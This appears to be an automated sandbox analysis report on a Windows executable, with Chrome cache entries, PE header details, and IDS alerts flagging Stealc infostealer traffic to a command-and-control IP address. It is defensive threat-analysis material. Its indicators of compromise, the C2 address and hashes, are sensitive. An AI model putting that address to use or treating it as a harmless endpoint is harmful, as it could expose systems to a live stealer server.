URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (815)
Category:	downloaded
Size (bytes):	820
Entropy (8bit):	5.160849978612989
Encrypted:	false
SSDEEP:	24:XFeNzyb5XXBzLTYk3yB2BHslgT9lCuABuoB7HHHHHHHYqmffffffo:XFD5XXlPvyMKlgZ01BuSEqmffffffo
MD5:	51829C8F13CA11721D753A9176CB71D1
SHA1:	D7C0DED6865905F78C089E7E6D533090C1A57510
SHA-256:	FE9E11C0271F91A6392A76961BF2FA77A035D95F7712728EF799CF56414BFAEC
SHA-512:	0972FFED9E29AE0312FEC4681CD2E37C2A04906E2CBB40D78D4E47D8B430027D7008D28086D307AC28EFF7F8586724BAD79302F1EAC250AC76E9C34FEBE91C90
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["bridget schumacher obituary","airline refunds for delayed flights","houston isd teacher certification","hurricanes tropical storms","daily horoscope today","monopoly go tycoon candy store rewards","mcdonald quarter pounder e coli outbreak","white sox manager"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133746
Entropy (8bit):	5.436492996594738
Encrypted:	false
SSDEEP:	3072:2POvjxd0QniyZ+qQf4VBNQ0pqYvx7U+OUaKszQ:EOvv0yTVBNQ0pbvxI+ORQ
MD5:	C6EDB342A3FF50D5DFB3E44A3942C71D
SHA1:	A974B2C99746EF8F0B01193F2B233AF77D0029D2
SHA-256:	2345541BE939365919125101A0FD0713D946DD52BFF323AE9E75C7434775DBAF
SHA-512:	665E743A3E3CEE3AD81645A0C1DAEDAC44E4DBC512466A441AF3F06CA69D48B465804745C48481894C72CB71A3034A8D713F54050ADEA29277129D56D3D1572A
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.960420866019488
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'125'824 bytes
MD5:	db6b1432e0641f3ec061401d5547d4a4
SHA1:	b037de812f635be7e0ce633785cb356f04f36301
SHA256:	9112846b3c122fd59a75c3b60e1821e81e90700948dbff182ac8f38263fc78dc
SHA512:	9e581521cb120bac3410b13a3f53c0f4a852a3eddd2468837afb88574d2feb1c3b60d76292a4e0ad040e8b0bd448db60652577c771d2247e7cc0c835d6f25a97
SSDEEP:	24576:zrT8VtzaqVLeT2wwBr5JeE6r27aPASXg34cL5yA6TaPeDH5OcEjOb3drulcVwSrD:zcVBFeQaWYQjLk+eDZKObXhKtO+s5
TLSH:	5AA533D6260E965ED970D9B39C054AFD383C251481C0DBC3FD12E48A9637AACEA77BC4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb27000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F53F4BDE20Ah
cmovle esp, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	ebab5bd953347a97f9f6b1962ecb01fc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2a0000	0x200	199cb4dcb4a6df500114f9935e6013e3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ksqqhkwn	0x58a000	0x19c000	0x19c000	1552543a7f1969ba8cadef4844acefcf	False	0.99493408203125	data	7.953429987583825	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kdggtfho	0x726000	0x1000	0x400	280e1422c4c69122821b9b7af5a10cde	False	0.802734375	data	6.247378546320199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x727000	0x3000	0x2200	0aec13ed3b0ddcb19f6d8780246e6335	False	0.052734375	DOS executable (COM)	0.7826435244545763	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T11:45:07.980640+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-30T11:45:08.354821+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-30T11:45:08.369738+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49709	TCP
2024-10-30T11:45:08.655177+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-30T11:45:08.662740+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49709	TCP
2024-10-30T11:45:09.785814+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-30T11:45:10.327648+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-30T11:45:37.427246+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49888	185.215.113.206	80	TCP
2024-10-30T11:45:40.909738+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49888	185.215.113.206	80	TCP
2024-10-30T11:45:42.967932+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49888	185.215.113.206	80	TCP
2024-10-30T11:45:44.060499+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49888	185.215.113.206	80	TCP
2024-10-30T11:45:46.322232+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49888	185.215.113.206	80	TCP
2024-10-30T11:45:46.869562+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49888	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 11:44:59.813754082 CET	49673	443	192.168.2.6	173.222.162.64
Oct 30, 2024 11:44:59.813766003 CET	49674	443	192.168.2.6	173.222.162.64
Oct 30, 2024 11:45:00.141911030 CET	49672	443	192.168.2.6	173.222.162.64
Oct 30, 2024 11:45:06.512257099 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:06.751745939 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:06.751831055 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:06.752455950 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:06.754633904 CET	49710	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:06.754676104 CET	443	49710	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:06.754741907 CET	49710	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:06.755410910 CET	49710	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:06.755424023 CET	443	49710	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:06.757859945 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:07.676213980 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:07.676281929 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:07.680093050 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:07.685447931 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:07.856707096 CET	443	49710	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:07.856858969 CET	49710	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:07.863149881 CET	49710	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:07.863157988 CET	443	49710	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:07.863404036 CET	443	49710	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:07.865411043 CET	49710	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:07.865521908 CET	49710	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:07.865526915 CET	443	49710	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:07.865657091 CET	49710	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:07.911341906 CET	443	49710	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:07.980511904 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:07.980639935 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:08.066361904 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:08.071825981 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.112030029 CET	443	49710	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:08.115008116 CET	49710	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:08.115024090 CET	443	49710	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:08.115242004 CET	443	49710	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:08.115307093 CET	49710	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:08.119173050 CET	49710	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:08.354690075 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.354713917 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.354820967 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:08.364365101 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:08.369738102 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.655030012 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.655051947 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.655082941 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.655098915 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.655119896 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.655138016 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.655177116 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:08.655247927 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:08.655716896 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.655771017 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:08.657263041 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:08.662739992 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.944974899 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.945070028 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:08.963404894 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:08.963454008 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:08.968732119 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.968841076 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.968853951 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.968868971 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.968985081 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.969019890 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:08.969116926 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:09.423094034 CET	49673	443	192.168.2.6	173.222.162.64
Oct 30, 2024 11:45:09.423098087 CET	49674	443	192.168.2.6	173.222.162.64
